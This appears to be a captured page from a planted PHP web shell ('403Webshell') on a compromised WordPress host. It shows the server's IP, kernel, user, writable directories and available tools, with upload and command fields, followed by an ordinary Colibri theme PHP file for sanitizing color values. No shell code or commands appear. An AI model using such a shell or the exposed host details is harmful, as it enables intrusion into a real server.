403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/bike/wp-content/themes/colibri-wp/inc/src/Customizer/Controls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/bike/wp-content/themes/colibri-wp/inc/src/Customizer/Controls/ColorControl.php
<?php


namespace ColibriWP\Theme\Customizer\Controls;


use ColibriWP\Theme\Core\Utils;

class ColorControl extends VueControl {
    public $type = 'colibri-color';
    public $alpha = true;
    protected $inline_content_template = true;

    public static function sanitize( $value, $control_data, $default = '' ) {

        if ( ! is_string( $value ) ) {
            return '#000000';
        }

        $alpha = Utils::pathGet( $control_data, 'alpha', true );
        $value = trim( $value );

        if ( ! $alpha ) {
            if ( strpos( $value, '#' ) === 0 ) {
                return sanitize_hex_color( $value );
            } else {
                if ( strpos( $value, 'rgb(' ) === 0 ) {
                    $color = str_replace( ' ', '', $value );
                    sscanf( $color, 'rgb(%d,%d,%d)', $red, $green, $blue );

                    return 'rgb(' . $red . ',' . $green . ',' . $blue . ')';
                }

                if ( strpos( $value, 'rgba(' ) === 0 ) {
                    $color = str_replace( ' ', '', $value );
                    sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
                    return 'rgb(' . $red . ',' . $green . ',' . $blue . ')';
                }
            }

        } else {

            if ( strpos( $value, 'rgba' ) !== 0 ) {
                return '';
            } else {
                $color = str_replace( ' ', '', $value );
                sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );

                return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')';
            }
        }

    }

    public function json() {
        $json          = parent::json();
        $json['alpha'] = $this->alpha;

        return $json;
    }

    protected function printVueContent() {
        ?>
        <el-color-picker
                v-model="value"
                :size="size"
                :show-alpha="alpha"
                @change="setValue"
                @active-change="activeChange"
        <# (data.alpha == false) ? '': print('show-alpha') #>
        >
        </el-color-picker>
        <?php
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit